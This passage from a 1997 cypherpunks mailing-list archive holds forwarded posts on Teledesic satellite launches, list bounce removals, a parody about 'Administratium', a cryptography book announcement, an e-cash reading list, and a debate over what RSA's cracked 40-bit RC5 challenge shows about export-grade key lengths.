"This is his first day on the job," the hard-hatted King said from the saddle where he wraps the rope or cable being pulled by the mule. Festus can tow up to 14,000 feet of cable, a load weighing more than 1 ton. Some people who saw the mules at work didn't know exactly what they were, which King found remarkable. After all, mules were made Missouri's state animal in 1995. "`Look, ma -- it's a horse!"' King said, mimicking what he's heard from children passing the work crew. "It's a good old Missouri mule." From rah at shipwright.com Tue Feb 11 06:43:40 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 11 Feb 1997 06:43:40 -0800 (PST) Subject: Teledesic Looks At SS-18's Message-ID: <199702111443.GAA20402@toad.com> --- begin forwarded text Sender: investor at LunaCity.com To: "Space Investors Mailing List" From: Michael_Wallis at sec.sel.sony.com Reply-To: "Space Investors Mailing List" Date: Mon, 10 Feb 1997 11:59:44 -0800 Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA Subject: Teledesic Looks At SS-18's X-Mailserver: Waffle File Server (WFS), Release 3.2.ag X-Article: 285 Teledesic Might Launch With Converted SS-18s Teledesic Corp. is talking with a newly formed Russian-Ukrainian group about launching up to 204 Teledesic satellites into low Earth orbit aboard converted SS-18 missiles. The Dnepr rocket is backed by the Russian and Ukrainian governments. Their space agencies are partners in a joint-venture company to sell commercial launch services. Askond of Moscow and Ukraine's Yuzhnoye State Design Bureau are marketing the Dnepr. Teledesic, a U.S. telecommunications company, plans to place about 900 satellites in space. Michael ------------------------------------------------------------------------- Michael Wallis, Computer Consultant Work: mwallis at sec.sel.sony.com http: //www.wallis.com/ Home: mwallis at wallis.com --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From gnu at toad.com Tue Feb 11 06:43:40 1997 From: gnu at toad.com (John Gilmore) Date: Tue, 11 Feb 1997 06:43:40 -0800 (PST) Subject: this has gone on long enough Message-ID: <199702111443.GAA20400@toad.com> Sean Roach said: > As of sometime in the last 96 hours I have been forcefully unsubscribed from > this list. This action was not of my free will and not one that I think was > perpretrated by those in charge of the list. Everybody relax, take a deep breath, and calm down a bit. Paranoia seems epidemic on the list these days. I removed your address from the mailing list because it was producing a bounce message for every message to cypherpunks. I regularly remove addresses when this occurs; the alternative is to receive thousands of bounce messages each day from non-working addresses. I'll append the set of addresses that I removed on the same day as you, for your edification. I'll also enclose one of the bounces. If you fix your mail so it doesn't bounce, you are welcome to re-subscribe. John Gilmore 1997/2/9 - gnu - bounces snowdog at iconn.net (cp-ann) se03565 at els.url.es (cp-ann) drjarmon at ingr.com (cp-ann) ycz at alpha4.cs.nthu.edu.tw yu123110 at yorku.ca bishop.trish at sympatico.ca 106076.1155 at compuserve.com (by request) security at harter.pg.md.us omega at bigeasy.com roach_s at alph.swosu.edu (cp-unedited) lupus at hempseed.com (cp-ann) THRPWC at smtpgate.lfwc.lockheed.com al.tan at usa.net vickeryk at tyrell.net crash at eramp.net phreaker at scholars.bellevue.edu alexc at firefly.net malaficia at mindspring.com BadAppleDH at aol.com otsge_mail at usa.net (for bounces re mecca_inc at msn.se) under at ground.net >From MAILER-DAEMON Sun Feb 9 20:03:36 1997 Received: from alph.swosu.edu (alph.swosu.edu [164.58.32.9]) by toad.com (8.7.5/8.7.3) with SMTP id UAA17045; Sun, 9 Feb 1997 20:03:33 -0800 (PST) Message-Id: <199702100403.UAA17045 at toad.com> Date: Sun, 9 Feb 1997 22:03:48 -0600 (CST) From: Postmaster at alph.swosu.edu Subject: Undeliverable Mail To: Bad address -- Error -- Message too old: %MAIL-E-SENDERR, error sending to user ROACH_S -MAIL-W-WRITEERR, error writing DKA0:[STDUSERS.ROACH_S]MAIL.MAI -RMS-E-EXT, ACP file extend failed -SYSTEM-F-EXDISKQUOTA, disk quota exceeded -PLI-F-NOMSG, Message number 001EBB8C Start of returned message Received: from toad.com by alph.swosu.edu with SMTP; Sun, 9 Feb 1997 18:03:43 -0600 (CST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id PAA11855; Sun, 9 Feb 1997 15:55:29 -0800 (PST) Received: from mail.pacifier.com (root at mail.pacifier.com [199.2.117.164]) by toad.com (8.7.5/8.7.3) with ESMTP id PAA11850; Sun, 9 Feb 1997 15:55:26 -0800 (PST) Received: from ip250.van8.pacifier.com (ip250.van8.pacifier.com [206.163.4.250]) by mail.pacifier.com (8.8.5/8.8.4) with SMTP id PAA12294 for ; Sun, 9 Feb 1997 15:55:23 -0800 (PST) Message-Id: <199702092355.PAA12294 at mail.pacifier.com> X-Sender: jimbell at mail.pacifier.com X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 09 Feb 1997 15:53:43 -0800 To: cypherpunks at toad.com From: jim bell Subject: ComLaw> URGENT!! SET UP IN PROGRESS!! (fwd) Sender: owner-cypherpunks at toad.com Precedence: bulk I'm forwarding this from the commonlaw list because of the usage of the name, "cypherpunks." ... From 16.47 Tue Feb 11 06:43:42 1997 From: 16.47 (16.47) Date: Tue, 11 Feb 1997 06:43:42 -0800 (PST) Subject: No Subject Message-ID: <199702111443.GAA20442@toad.com> From: "Curt Denny" The heaviest element known to science was recently discovered by GM Research physicists. The element, tentatively named Administratium, has no protons or electrons and thus has an atomic number of zero. However, it does have one neutron, 125 assistant neutrons, 75 vice neutrons, and 111 assistant vice neutrons. This gives it an atomic number of 312. These particles are held together by a force that involves the continuous exchange of meson-like particles known as morons. Since it has no electrons, Administratium is inert. However, it can be detected chemically because it impedes every reaction it comes in contact with. According to the discoverers, a minute amount of Administratium caused one reaction to take four days to complete when it would have normally occurred in less than one second. Administratium has a normal half-life of approximately three years, at which time it does not actually decay, but instead undergoes a reorganization in which assistant neutrons exchange places. Some studies have shown that the atomic mass actually increases after each organization. Research at other laboratories indicates that Administratium occurs naturally in the atmosphere. It tends to concentrate at certain points such as government agencies, large corporations and universities, and can usually be found in the newest, best appointed and best maintained buildings. Scientists point out that Administratium is known to be toxic at any detectable level of concentratitroy any productive reaction where it is allowed to accumulate. Attempts are being made to determine how Administratium can be controlled to prevent irreversible damage, but results to date are not promising. Check us out at: http://www.clc.cc.il.us "There is no limit to the amount of good that people can accomplish if they don't care who gets the credit!" Curtis L. Denny College of Lake County Director of Admission and Records 19351 West Washington Street Grayslake, IL 60030-1198 Phone: (847) 223-6601, Ext. 2384 Fax: (847) 223-1017 E-Mail: CurtDenny at clc.cc.il.us ---2143972336-1320482045-855671591=:18392-- From talon57 at well.com Tue Feb 11 06:44:23 1997 From: talon57 at well.com (Brian D Williams) Date: Tue, 11 Feb 1997 06:44:23 -0800 (PST) Subject: [CRYPTO] CLASSICAL CRYPTOGRAPHTY COURSE Message-ID: <199702111444.GAA20467@toad.com> FOR IMMEDIATE RELEASE 6 February 1997 Aegean Park Press proudly announces publication of CLASSICAL CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols [LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ] Volume II presents Lectures 11 - 22 (of a total of twenty five) from his successful course in Classical Cryptography taught in 1995 and 1996 to 391 students via the Internet and an additional 65 via regular mail. Volume II covers polyalphabetic substitutions ciphers in the Vigenere family (Viggy, Variant, Beaufort, Porta, Gronsfeld, Portax, Gromark), decimation, principles of symmetry, isologs and superimposition solution techniques. Volume II describes the difficult aperiodic cipher systems (Interrupted key, Autoclave, Progressive, Running Key used in cipher machines) and their analysis by isomorphs, and repetitions. Cryptarithm solutions for extended bases are presented. The theory of coincidences and statistical attacks (Kappa, Chi, Phi) derived from this important theory are detailed. Transposition theory and a variety of transposition ciphers are solved (Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman, Auto-Transposition). Volume II has two chapters on the difficult cipher systems invented by the famous French cryptographer Delastelle: Foursquare, Bifid and Trifid. Volume II presents a detailed chapter on passwords, law and data protection. Volume II ends with a historical look at codes, commercial code systems, and famous cipher machines. Volume II is a potpourri of advanced topics in classical cryptography. The Cryptographic Resources and References section has been expanded to cover all phases of involvement with cryptography: cryptanalysis, history, legal, social, classical, modern, NSA, mathematical techniques, recreational, intelligence, tactical, strategic, National Defense, INFOSEC: offensive and defensive, hardware, software, standards, public key cryptography, web sources, and applicable Senate and House bills. Readers are encouraged to expand their knowledge in the many directions possible to them through this section. For orders or Information Contact: Aegean Park Press, P.O. Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587; Fax: 1-714-586-8269. Group discounts available. REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I By the Honorable David Kennedy, Director of Research, NCSA. Classical Cryptography Course, Volume I. By Randall K. Nichols; published by Aegean Park Press, (714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736 - 3587; 301 pages (with index); $34.80 (American Cryptogram Association members receive a 20% discount through ACA or NCSA Members receive a 10% discount if purchased from the NCSA Bookstore) In Classical Cryptography Course, Volume I, author Randall K. Nichols has created a benchmark for serious students of the science of cryptography. This is a text. It is for learning, and with it one cannot help but learn about the foundations of the science. An outgrowth of Nichols' admitted "labor of love" in the online Cryptography Courses he teaches over the Internet, Volume I creates the foundation for understanding the development of the science. The ten chapters of this volume lead the student through simple substitutions, substitutions with variants, multiliteral substitutions, xenocrypts (foreign language substitutions), cryptarithms, the Enigma machine (separate Enigma95 program disk available direct from the author) and finally to polyalphabetic substitutions. Seven chapters conclude with problems; solutions and discussions are provided in an appendix. The text is indexed with twenty-four pages of references for further study. I found Nichols' sense of the history of cryptography particularly noteworthy. The volume is liberally salted with citations from history with applications of the methods developed in the text. From Revolutionary France through the American Civil War, the Tammany Hall scandal, Revolutionary Soviet ciphers and Japanese successes against Chinese codes prior to Pearl Harbor, the text provides touchstones for student to understand and relate to. Phil Zimmermann observed in the documentation to his Pretty Good Privacy Program to "Beware of Snake Oil." Among his arguments is this anecdote: I remember a conversation with Brian Snow, a highly placed senior cryptographer with the NSA. He said he would never trust an encryption algorithm designed by someone who had not "earned their bones" by first spending a lot of time cracking codes. Where Schneier's Applied Cryptography is a crash course in some encryption protocols and algorithms in use today, Nichols' text begins the teaching of Snake Oil detection and prevention. Learning the fundamentals, developed throughout the text, brings a richer understanding of the science, it's history and insight into it's possibilities and some vulnerabilities lurking for the unwary. Nichols plans for release Volume II in the series with advanced material on from the online course which includes statistical attacks and transposition in February, 1997. Reviewer: Dave Kennedy, CISSP, is Director of Research for the National Computer Security Association, Carlisle, PA. He is a retired Army military police officer and member of NCSA, ASIS, ISSA and the Computer Security Institute. reposted from cryptography at c2.org Brian From rah at shipwright.com Tue Feb 11 06:44:23 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 11 Feb 1997 06:44:23 -0800 (PST) Subject: Interesting ressource Message-ID: <199702111444.GAA20463@toad.com> --- begin forwarded text X-Sender: leroux at mail.vdl2.ca Date: Mon, 10 Feb 1997 13:05:08 -0500 To: dcsb at ai.mit.edu From: Philippe Le Roux Subject: Interesting ressource Mime-Version: 1.0 Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: Philippe Le Roux The IEEE published a special issue of Spectrum (http://www.spectrum.ieee.org/contents/) about digital commerce and ecash. This is the index : Electronic money: toward a virtual wallet By Tekla S. Perry Hard currency is disappearing from many everyday transactions along the road to electronic money. Future of electronic money: a regulator's perspective By Edward W. Kelley Jr. The way electronics will fit into the evolution of money--from acting as a niche player to wreaking major changes in payment systems--has yet to be determined. Credits and debits on the Internet By Marvin A. Sirbu CyberCash, First Virtual, GC Tech, NetBill--these and other systems have been developed to enable electronic transfers of payments across the Internet. 'Minting' electronic cash By David Chaum & Stefan Brands Electronic cash can offer transaction privacy to honest users, affords convenient storage and transportation, and protects against loss. Traceable e-cash By Peter S. Gemmell One method of making electronic cash transactions private for honest users but traceable by law enforcement agencies involves the use of trustees. Crime and prevention: a Treasury viewpoint By Stanley E. Morris The speed and anonymity of electronic payment systems make them attractive to those pursuing illicit activities. Locking the e-safe By Robert W. Baldwin & C. Victor Chang Existing encryption-based security mechanisms can be combined to minimize a wide range of threats to electronic commerce. In your pocket: smartcards By Carol Hovenga Fancher A wallet full of cash, credit, and identification cards may, in the future, be replaced with two or three smartcards, each containing an IC, as a recent flurry of market tests and smartcard rollouts demonstrates. Banking in cyberspace: an investment in itself By Michael C. McChesney While home banking has been around for some time, Internet banking is a new concept, and has a number of advantages. Technology takes to securities trading By Steven M. H. Wallman >From stock offerings conducted entirely over the Internet, to the automation of traditional exchanges, technology is changing the way stock markets work. Nasdaq's technology floor: its president takes stock By Alfred R. Berkeley III This screen-based stock market has been particularly sensitive to the effects of new computer and communications capabilities. The economics of e-cash By Mike Ter Maat Electronic cash can create profits for its issuers, and launch competition for today's government-controlled currency systems. Money and the Internet: a strange new relationship By Howard Anderson This visionary sees the e-money revolution as inevitable, with "e-mail for money" becoming as ubiquitous in the future as e-mail messages are already today. *PLR! ------------------------------------------------------------------------------ Philippe Le Roux Associe de V(DL)2 Inc. Membre du SCIP (Society of Competitive Intelligence Professionals) Co-Auteur d'Internet Secrets (IDG - 95) Chroniqueur a Benefice.Net -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i Comment: Requires PGP version 2.6 or later. mQBNAjLyVpEAAAECAKiVNKY2l2moieX3JsvrXKSvHqwF0Hq24cKh1p1VDaFEwWPs /C6fMmo47FZIpV6xC/uRBiHVfW5d26AvJz1Ww7EABRG0IVBoaWxpcHBlIExlIFJv dXggPGxlcm91eEB2ZGwyLmNhPokAVQIFEDLyVpHboC8nPVbDsQEBtwcB/An4zBwC g9e1lFsVhVgmplxfUYAv3T7D7fAdCTeD51cJjns+Yh/3MoZQa7zns0BQFtRLoInL HY4WrDBs9wSXZ70= =tEnk -----END PGP PUBLIC KEY BLOCK----- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB at ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle From nobody at replay.com Tue Feb 11 06:44:25 1997 From: nobody at replay.com (Anonymous) Date: Tue, 11 Feb 1997 06:44:25 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: <199702111444.GAA20479@toad.com> [Excerpts from Winn Schwartau's 2/9 "InfoWar Digest," with responses to Paul Strassmann's diatribe on the RSADS Secret-Key Challenge. Burt Kaliski, Tim May, Padgett Peterson -- among others -- toss in their two bits. Longish. [FYI: RSADS still has 12 open Challenges pending, offering cash rewards for anyone who can decrypt 56-bit DES -- or any of eleven _other_ RC5 cyphertext samples, encrypted with keys of varied lengths, ranging from 48-bit through 128-bits. Details somewhere on the RSA site: ] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From: Burt Kaliski To: "'infowar at infowar.com'" Subject: Further to Goldberg's Cracking Accomplishments Date: Wed, 5 Feb 1997 13:58:53 -0800 Paul A. Strassmann quoted a UC Berkeley press release on Ian Goldberg's successful effort to discover the unknown 40-bit key to an RC5 ciphertext offered in the RSA Data Security Secret-Key Challenge, and raised a number of justifiable concerns about whether a contest like the Challenge is an appropriate measure of the security of a 40-bit encryption algorithm in an InfoWar environment. >>As I suspected (see earlier private comment), the >>highly promoted RSA cracking contest offered >>a number of clues that ordinarly would not be >>volunteered by info-terrorists or info-criminals to >>IW Defense teams. >> >>These clues made the cracking significantly easier, >>because it made it possible to eliminate an enormous >>range of possible searches. Mr. Strassmann is a well known scholar of the InfoWar threat environment. I am not, so I cannot address those specific concerns directly -- but I would like to offer some rationale as to why the Challenge was structured as it was. The RSA Data Security Secret-Key Challenge , started last week, is an open contest sponsored by RSA Laboratories that offers cash prizes for the successful recovery of encryption keys for the DES and RC5 block ciphers. Following the model of the RSA Factoring Challenge which for several years has provided an assessment of the security of the RSA public-key algorithm at various key sizes, the Secret-Key Challenge is intended to measure of the security of secret-key algorithms at various key sizes. As was the case with the Factoring Challenge, full details of the algorithms and key sizes are provided. In addition, three plaintext-ciphertext pairs (the ciphertext encrypted with the key of interest) are provided for each key to be recovered. Last week, the first of the keys in the Challenge, a 40-bit RC5 key, was recovered by Ian Goldberg, a U.C. Berkeley graduate student. His effort involved about 250 workstations and took 3.5 hours. When I called Mr. Goldberg to congratulate him in a teleconference during the RSA Data Security Conference last week, he explained that he had discovered the valid key with a search of about 350 billion keys, using a university computer network to search at a rate of 100 billion keys/hour. There are about 1 trillion 40-bit keys, for any algorithm. Mr. Goldberg's search method involved simple brute-force; that is, the known plaintext was encrypted with each key, and then compared to the available ciphertext, looking for a match. The overall effort was essentially what was expected for the 40-bit key size, and as one would expect, the recovery of a key for the other RC5 key sizes (from 48 bits to 128 bit), or for DES (56 bits), will involve much more work. With the same "brute force" method employed by Mr. Goldberg last week, one would expect a 256-fold increase in effort for each eight-bit increase in key size. Special-purpose hardware may reduce the actual time, of course, but the total number of possible keys to be tested will grow at that rate. Mr. Strassman expressed concern as to whether the successful recovery of a 40-bit key in 3.5 hours is a realistic measure of the strength of 40-bit keys in an InfoWar environment, where full details of the algorithm and plaintext blocks are not necessarily known. Again, not being acquainted with the threat environment, I cannot address his concerns directly. Nevertheless, RSA Laboratories does consider this type of contest to be appropriate as a general measure of cryptographic strength -- for RSA's products and those of any other vendor in the international crytographic community. The information provided to RSA Secret-Key Challenge contestants is no more than is common and conventional for any open contest to test the strength of a cryptographic algorithm. These conventions have evolved within the international community of cryptographers seeking, on the basis of several acknowledged principles, to develop common criteria for measuring the relative strength or security of any particular cryptographic algorithm with a given key size. Our rationale for the structure of the Challenge is reflected in the following observations: * Knowledge of the algorithm and key size (as per Kerchoffs' principle), as well as the availability of known plaintext, are standard assumptions in modern cryptanalysis. Since an opponent may obtain this information eventually, it is preferable not to rely on its secrecy when assessing cryptographic strength. * The implementation of large-scale key-search engines is simplified under the standard assumptions. This makes the contest accessible to a wider variety of contributors, than if we required contributors to know, for instance, a particular language, or language statistics, or other characteristics of the plaintext. (Perhaps another challenge where we didn't provide plaintext samples would be a worthwhile follow-up.) * In practice -- even if the plaintext is not known -- significant information about it is likely to be, such as character distributions (ASCII, English), header values (e.g., BER tag and length), or padding. The cost (in time, effort, and computing resources) of a key search with even a small amount of information of this kind is not significantly more than the cost with known plaintext. For instance, if it is known that the characters are represented in ASCII, for instance, then one can decrypt available ciphertext with each key and check that the recovered plaintext follows ASCII conventions (most significant bit of each byte 0). The chance that an incorrect key produces plaintext that passes the test is 1/2^k where k is the number of plaintext bytes recovered. This means, for example, that of 2^40 keys tried, we expect only 2^32 to pass the check for a single eight-byte block. The 2^32 keys must then be tested further against other ciphertext blocks. So instead of 2^40 encryptions -- as in the case when the plaintext is known -- a cryptanalyst would need to search within 2^40+2^32+2^24+2^16+2^8+1 (roughly) keys, to find the correct key. But this represents an increase in effort of less than 0.5 percent. RSA Laboratories appreciates the InfoWar Community's interest in the RSA Data Security Secret-Key Challenge, and Mr. Strassmann's comments in particular. We look forward to further suggestions and critiques of our efforts. -- Burt Kaliski >Chief Scientist >RSA Laboratories ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Mon, 3 Feb 1997 21:42:24 -0800 To: infowar at infowar.com From: "Timothy C. May" Subject: Re: Infowar Digest Volume 02: Number 04 - Crypto and Goldberg I seldom read your newsletter carefully. I did tonight, and discovered two of the items you included contain serious errors. (Of course, as a strong advocate of "infowar" I suppose I'm pleased to see your subscribers in the government misled by these errors...it makes our job a little easier in the long run.) >To: infowar at infowar.com >From: Patrick Galley Subject: New crypto attack >Date: Mon, 27 Jan 1997 07:56:39 +0000 > >Hello > >A friend of mine told me to look at the WWW site "John Douglass' >CryptoMaverick Page"). > >There I've found a paper from John Douglass which says that if RSA >products are sold worldwide it because there is a backdoor inside. He >said the same thing for DES and PGP. ..... >If this guy is right. It would be better for is security that everybody >knows the truth. > >I think it would be nice if you could look at this doc and talk about it >in infowar.com. I looked at the site and it's a mixture of conspiracy theory rantings and misinformation. As to the security of various RSA algorithms (and PGP, for example), the security of many of these algorithms lies in the publishing of the source code, with digital signatures on the released binaries to allow independent verification. If a real security hole is found in, say, PGP or Netscape, expect it to be publicized loudly and quickly. (Indeed, certain flaws have been found, and quickly publicized. The same Ian Goldberg involved in later message was one of those who isolated a flaw in the random number generator used in an earlier version of Netscape.) The web site mentioned here doesn't cut it, and this message here is just more "disinformation" (itself a part of infowar, so I guess the author is practicing his skills). >Date: Thu, 30 Jan 1997 20:10:36 -0500 >To: "Wright Larry" >From: "Paul A. Strassmann" >Subject: Further to Goldberg's Cracking Accomplishments >Gentlemen: > >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. Paul Strassmann is simply missing the central point of cracking the 40-bit export-allowed version. It is not based on a known plaintext attack, but on exhaustive search of the 40-bit keyspace. What Goldberg and his colleagues who contributed CPU time on the "NOW" (Network of Workstations) did was to search approximately 100 billion keys per hour. As there are about a trillion keys in the 40-bit keyspace, it was a foregone conclusion they would find the key within 10 hours (modulo any screwups at their end), with about half the time being the most likely time. As it was, they found the key a tad bit early, by the luck of the draw (so to speak). RSA certainly knows how long it takes to brute force the keyspace. They just didn't know who would find the key first. (And at least one other group reported a solution within minutes of Goldberg's report.) So, Paul is simply throwing disinformation--or lack of understanding--into the air by claiming that this crack does not mean a 40-bit key is "weak." Simply put, it is. Anyone who looks at the math understands this. The keyspace is simply too small for real security. (Does the NSA use 40-bit keys? Of course not. Hmmmhhh.) As the select panel of cryptographers empaneled to study key lengths concluded, 56 bits is already too weak, 80 bits is better and should be adopted forthwith for export, and >96 bits is preferable. As an "infowarrior" of sorts myself, I can assure you that we don't give a hoot in hell what the regs say is "allowed." When any tourist on his way to Europe can carry as many CD-ROMSs and DAT tapes in his luggage as he wishes, with absolutely no "exit checks," who really cares what the "export laws" allow? (I carried 5 gigabytes of data, some of it crypto-related, to a meeting with cryptographers and crypto anarchists in Monte Carlo a while back. Obviously I was not searched or even glanced at on my way out, nor on my arrival at Charles de Gaulle airport, etc. Only upon my return to San Francisco was I asked what my business had been. The Customs Officer gave me a blank look when I told him I was meeting with cryptographers in Monte Carlo (I told him the truth, knowing I was breaking no laws whatsoever). He had no idea what I was talking about, and was bored. He then asked me if I was bringing back any stuff I bought in shops over there. "No," I told him. He just waved me through.) Not to mention the ease with which stuff is shipped out over the Internet. (I made a bet a couple of years ago that each major new cipher would arrive at offshore non-U.S. sites within 3 hours of release in the U.S. Remailers make it so easy to bounce stuff around.) And of course I was the one in 1988 who first proposed the now-popular method of using the least significant bits (LSBs) of CDs and DATs filled with music, and LSBs of GIF images, to transparently export megabytes of data undetectably. (To any sniffers, the LSBs are formally and statistically identical to the ordinary noise of microphones and recording electronics.) A normal 2-hour DAT tape of a recording I made off the radio or off of one of my CDs can carry 160 megabytes of "data" riding in just the LSBs alone. That's equivalent to 16 copies of the Bible, or a significant chunk of the B-2 Stealth bomber CAD database. I'd like to see your list get involved in more accurate and less scare-mongering discussions. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 00:52:28 -0500 (EST) From: "Craig H. Rowland" To: "Betty G. O'Hearn" Subject: RSA > Date: Thu, 30 Jan 1997 20:10:36 -0500 > To: "Wright Larry" > From: "Paul A. Strassmann" > Subject: Further to Goldberg's Cracking Accomplishments > Gentlemen: > > As I suspected (see earlier private comment), the > highly promoted RSA cracking contest offered > a number of clues that ordinarly would not be > volunteered by info-terrorists or info-criminals to > IW Defense teams. > > These clues made the cracking significantly easier, > because it made it possible to eliminate an enormous > range of possible searches. You are talking about implementing security through obscurity. You can never assume that an enemy does not know what security precautions are in place to protect information, or in this case, what cipher you have chosen to protect your data. The security of your in-place mechanisms should be able to stand on their own merits under a worst case scenario of full public disclosure. > > The following was extracted verbatim from the > > posted on : > > Clue #1: > > " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge > will use > 12-round RC5 with a 32-bit word size. " > > Clue #2: > > " ...The first RC5 contest will consist of some unknown plaintext > encrypted using a 40-bit key;." > > Clue #3: (a giveway!) > > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". Let me address 1, 2, and 3 all together as they all suffer from the same flaw in logic as discussed above. First, the ciphers in this contest includes more than RC5, the main point of the contest is not to illustrate the security of a particular cipher from cryptanalytic attack, but rather to show that key lengths that are too short are insecure against a brute force attack. The fact that the cipher is known does not affect the overall purpose of the contest. Second, you are again assuming the cipher is unknown by your enemy. Suppose you are a financial institution, I can be almost 100% assured that your communications are protected with DES as the cipher. If I can discover what equipment you are using and what modes the cipher runs in (CBC, ECB, etc) I can then attempt a similiar brute-force attack using the widely available DES specifications. Commercial organizations using exportable software systems suffer the same fate. You are also assuming that a mathmatical analysis of the encrypted data stream will not reveal what cipher is being used. Various statistical attacks could reveal key pieces of information that could quickly unveil what cipher you are using and what mode it is being run in. Third, just because part of a message is known does not mean the contest is invalid. Many network communication protocols use a fixed set of characters to establish and end communication sessions. An attacker, aware of how the protocols work, can often discern what a message may contain when it is initiated. An example of this could include SMTP traffic which includes a standard set of protocol keywords, or an electronic funds transfer which includes unique bank identification numbers or other similar data. This is called a known plaintext attack and is very common. > > In summary: The claim of exportable cryptography being totally > insecure, because it can be cracked in 3.5 hours is not > realistic. The three clues announced in the contest > would not apply under infowar conditions. Again, this is not correct. You are assuming total ignorance by the enemy which is rarely the case. > > What other clues may have been provided to Goldberg > to support private agendas and gain shrill headlines > is also a matter of speculation, but I rest my case. Why does one even need a "clue" about this key size? It should be obvious to anyone remotely educated/interested in the field of cryptography that the reason the NSA limits exportable key length to 40 bits or less to begin with is so they can do the same thing at Ft. Meade on their internal computers that was done here publically. The whole debate over exportable encryption rarely rests on the cipher, but rather on the *length* of the keys used. This *alone* should be enough to convince the reader that key length is in fact a very vital issue for both the NSA and the Internet community. > I certainly cannot assert that a 40 bit key cannot be decyphered. > However, I do not think that the RSA unqualified claims > offer full and appropriate disclosure. Nonsense..RSA sells cipher technology that uses both 40 bit encryption and higher, they make their money either way...their only bias in this area is that they have their exportable software crippled in such a way as to make it useless to foreign buyers. Luckily companies in Finland, Switzerland, and Germany are starting to take up the slack and provide strong cryptographic products of their own. -- Craig ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 12:49:25 -0500 (EST) To: infowar at infowar.com From: Bob Stratton Subject: RSA's Challenge Claims and the Real World In Infowar Digest Volume 02, Number 04, Paul Strassman writes: >In summary: The claim of exportable cryptography being totally >insecure, because it can be cracked in 3.5 hours is not >realistic. The three clues announced in the contest >would not apply under infowar conditions. > >What other clues may have been provided to Goldberg >to support private agendas and gain shrill headlines >is also a matter of speculation, but I rest my case. > >I certainly cannot assert that a 40 bit key cannot be decyphered. >However, I do not think that the RSA unqualified claims >offer full and appropriate disclosure. I feel compelled to respectfully submit what may be considered a rebuttal. In general, I tend to dismiss claims of anything being "totally" anything, but in this particular instance, I think further discussion may be warranted. I admit to being a little surprised by this tack on the part of RSA. RSA Labs (the research side of that house) has earned my respect over time by doing serious cryptological work and publishing it in a thoughtful, academic manner worthy of note. The histrionics of press releases notwithstanding, I think these comments merit further examination: I may concede that the "three clues...would not apply under infowar conditions". In doing so, I must also ask for further clarification as to exactly which infowar Mr.Strassman is referring. Given this forum's consideration of the national security implications of attack on the financial infrastructure, it seems a fair question. In any event, I question whether this is relevant within the context of the challenge, and the purposes behind it. RSA's purpose in posting this challenge was presumably to enlighten the public and others as to the _relative_ strength of currently exportable cryptosystems. I have no doubt that the agenda behind this is to encourage resistance to current U.S. policies on cryptographic export, a stance designed to maximize share value in what is admittedly a commercial venture. I'm also willing to note that I have a general distaste for INFOSEC "challenges" of any sort. I would, however, like to explore the assertion that the clues posted in the challenge were not offered in the spirit of full and fair disclosure. I will concede in any case that this was not an exhaustive, controlled study. "Challenges" such as these have a place. Within the INFOSEC environment, cryptanalytic attack appears to be one of the more reasonable areas for them. Compared to "challenges" against network "firewalls", for example, cryptanalysis is an area where there is the opportunity to adequately define the goal and to measure the result. In this case, RSA was not attempting to prove a negative, as have so many (too many) other firms offering so-called "challenges". If we restrict our focus for purposes of argument to commercially available cryptographic software, the clues become significantly less onerous and mysterious. Clue #1, the disclosure of 12-round RC5 with a 32-bit word size, is certainly the most arcane of the lot. Speaking as a former commercial software developer, I would be quite surprised if vendors would not routinely disclose information of this sort. Certainly vendors using standard algorithms would tend to be more willing to do so than those using proprietary ones, which only bolsters my later arguments, as you will see below. If we may depart for just a moment to other algorithms, almost any _standard_ implementation of an algorithm which is interoperable with other implementations would, by definition, disclose or facilitate disclosure of this sort of information, by its very nature. Again, in a commercial environment, interoperability is key (no pun intended), so 